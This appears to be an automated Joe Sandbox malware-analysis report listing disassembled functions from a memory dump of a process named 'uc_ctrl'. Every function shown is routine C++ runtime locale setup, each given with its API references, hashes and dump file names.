Part of subcall function 6C949F85: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93ECAC,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949F97
Part of subcall function 6C949F85: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949FAF
Part of subcall function 6C949F85: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94A011

Part of subcall function 6C948197: __EH_prolog3_catch.LIBCMT ref: 6C94819E
Part of subcall function 6C948197: _Getcvt.MSVCP140(?,00000034,6C93FD27), ref: 6C9481AC
Part of subcall function 6C948197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C93FD27), ref: 6C9481BB

??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6C93ED04
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6C93ED73
new.LIBCMT ref: 6C93ED38

Part of subcall function 6C95A364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A36C
Part of subcall function 6C95A364: Concurrency::cancel_current_task.LIBCPMT ref: 6C95A37C

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C93ED81
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6C93ED92
new.LIBCMT ref: 6C93EDAB
??0?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EDC1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EDD1
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EDDF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EDF0
new.LIBCMT ref: 6C93EE05
?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6C93EE21
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6C93EE2B
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EE39
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EE4A
new.LIBCMT ref: 6C93EE5E
??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EE74
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EE84
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EE92
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6C93ED23

Part of subcall function 6C9381D0: __EH_prolog3.LIBCMT ref: 6C9381D7
Part of subcall function 6C9381D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C94AB8A,00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?), ref: 6C9381E0
Part of subcall function 6C9381D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6C938209
Part of subcall function 6C9381D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6C938215
Part of subcall function 6C9381D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6C938288

??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EA33

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

new.LIBCMT ref: 6C93EA0F

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EA41
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EA52
new.LIBCMT ref: 6C93EA6B
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EA84
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EA92
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EAA3
new.LIBCMT ref: 6C93EABC
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EAD5
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EAE3
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EAF4
new.LIBCMT ref: 6C93EB09
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6C93EB3A
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C93EB48
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6C93EB59
new.LIBCMT ref: 6C93EB6E
_Getcoll.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EBA1
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EBAF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EBC0
new.LIBCMT ref: 6C93EBD5
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EBEE
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EC0D
new.LIBCMT ref: 6C93EC26
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EC3F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EC5E
new.LIBCMT ref: 6C93EC77
??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EC90
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93ECAF
new.LIBCMT ref: 6C93ECC8
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6C93EEA3

Strings

+, xrefs: 6C93EE6D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Locinfo@1@$Concurrency::cancel_current_task$??0?$codecvt@??0?$ctype@??0?$time_get@G@std@@G@std@@@std@@@std@@GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@U?$char_traits@U?$char_traits@_V?$istreambuf_iterator@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_callnewh_realloc_basectypelocaleconvmalloc
String ID: +
API String ID: 3751347316-2126386893
Opcode ID: 44b16c04c6a8a46f6116949f165fd96318d067ff13c584ee1777b5dc215f2815
Instruction ID: 14a0a78327807dbe346cd9cc4cf9eb0453135e8220435e23b5521799e268199b
Opcode Fuzzy Hash: 44b16c04c6a8a46f6116949f165fd96318d067ff13c584ee1777b5dc215f2815
Instruction Fuzzy Hash: 63D1E4719013209BDB149BA85901AFFB6EDEFB2358F105419AC59ABB80DF74CD088BE5

Function 6C93E500 Relevance: 89.6, APIs: 48, Strings: 3, Instructions: 343COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93E507
??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E543

Part of subcall function 6C933810: __EH_prolog3.LIBCMT ref: 6C933817
Part of subcall function 6C933810: ctype.LIBCPMT(?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C933834

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E553

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

new.LIBCMT ref: 6C93E52F

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6C93E561
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6C93E572
new.LIBCMT ref: 6C93E58B
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5A4
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5B2
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6C93E5C3
new.LIBCMT ref: 6C93E5DC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E5F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E603
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93E614
new.LIBCMT ref: 6C93E629
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E65A
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E668
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E679
new.LIBCMT ref: 6C93E68E
_Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6AD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6C1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6CF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E6E0
new.LIBCMT ref: 6C93E6F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E70E
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E72D
new.LIBCMT ref: 6C93E746
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E75F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93E77E
new.LIBCMT ref: 6C93E797
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93E7B0
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6C93E7CF
new.LIBCMT ref: 6C93E7E8

Strings

&, xrefs: 6C93E8DA
+, xrefs: 6C93E98D
`, xrefs: 6C93E759

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??0?$ctype@_??1_GetcollLocinfo@1@Lockit@std@@W@std@@_lock_localesctypemalloc
String ID: &$+$`
API String ID: 2983661360-800144431
Opcode ID: 38d637fb94f8563e6fe4f14bee58446ca0a917a3c17c106cb80b7f6b7867943f
Instruction ID: 7d0210d53f79e874ff5ce4d0e4618656971800f765344047d0e6359786617b6e
Opcode Fuzzy Hash: 38d637fb94f8563e6fe4f14bee58446ca0a917a3c17c106cb80b7f6b7867943f
Instruction Fuzzy Hash: 49B101B1D013259FDB04DBA899016EF76E9EFB1728F105419EC59A7B80DB70CE088BE5

Function 6C94A880 Relevance: 54.3, APIs: 36, Instructions: 261COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94A887
_Getcoll.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A8C8

Part of subcall function 6C92ED50: ___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92ED51
Part of subcall function 6C92ED50: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92ED59
Part of subcall function 6C92ED50: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92ED67

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94AABC

Part of subcall function 6C94D781: __EH_prolog3.LIBCMT ref: 6C94D788
Part of subcall function 6C94D781: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94AACA), ref: 6C94D793
Part of subcall function 6C94D781: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94D7AB
Part of subcall function 6C94D781: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C94D80D

??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94AB1A

Part of subcall function 6C94D81A: __EH_prolog3.LIBCMT ref: 6C94D821
Part of subcall function 6C94D81A: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94AB28,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D82C
Part of subcall function 6C94D81A: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D844
Part of subcall function 6C94D81A: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D8A8

??Bid@locale@std@@QAEIXZ.MSVCP140(?,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94AB66
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A8DC

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

new.LIBCMT ref: 6C94A8A9

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A8EA
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94A8FB
new.LIBCMT ref: 6C94A910
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A929
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A937
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94A948
new.LIBCMT ref: 6C94A961
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A97A
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A988
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94A999
new.LIBCMT ref: 6C94A9B2
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A9CB
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?), ref: 6C94A9D9
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94A9EA
new.LIBCMT ref: 6C94AA03
??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6C94AA3F
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94AA4D
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6C94AA5E
new.LIBCMT ref: 6C94AA73
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6C94AAAE
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6C94AACD
new.LIBCMT ref: 6C94AAE6
??0?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94AAFC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94AB0C
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94AB2B
new.LIBCMT ref: 6C94AB40
?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94AB5C
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C), ref: 6C94AB85

Part of subcall function 6C9381D0: __EH_prolog3.LIBCMT ref: 6C9381D7
Part of subcall function 6C9381D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C94AB8A,00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?), ref: 6C9381E0
Part of subcall function 6C9381D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6C938209
Part of subcall function 6C9381D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6C938215
Part of subcall function 6C9381D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6C938288

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$??1_H_prolog3Lockit@std@@_lock_locales$D@std@@@std@@@std@@U?$char_traits@$??0?$time_get@Concurrency::cancel_current_taskGetcollInit@?$time_put@Locinfo@1@Locinfo@2@@V?$istreambuf_iterator@V?$ostreambuf_iterator@___lc_collate_cp_func___lc_locale_name_func_realloc_base_wcsdupmalloc
String ID:
API String ID: 2133787414-0
Opcode ID: b0206af79e011877ed45bdb89253510092c45ebf1a2ea9ed072f5ae306be69c7
Instruction ID: 8f9a6dbe30ba687274f9c3b53897efb59d4ccc53dcd1a805287fee3021496299
Opcode Fuzzy Hash: b0206af79e011877ed45bdb89253510092c45ebf1a2ea9ed072f5ae306be69c7
Instruction Fuzzy Hash: D78106719013119FDB14CBA898016EFB6EEDF72368F11852DEC599BB80DF74C9088BA5

Function 6C937F00 Relevance: 39.2, APIs: 26, Instructions: 182COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C937F07
??0?$ctype@D@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937F3D

Part of subcall function 6C933270: __EH_prolog3.LIBCMT ref: 6C933277
Part of subcall function 6C933270: _Getctype.MSVCP140(?,00000014,6C933301,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010,6C935F84), ref: 6C933295

??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937F4D

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

new.LIBCMT ref: 6C937F27

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937F5B
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937F6C
new.LIBCMT ref: 6C937F85
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937F9E
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937FAC
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937FBD
new.LIBCMT ref: 6C937FD6
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937FEF
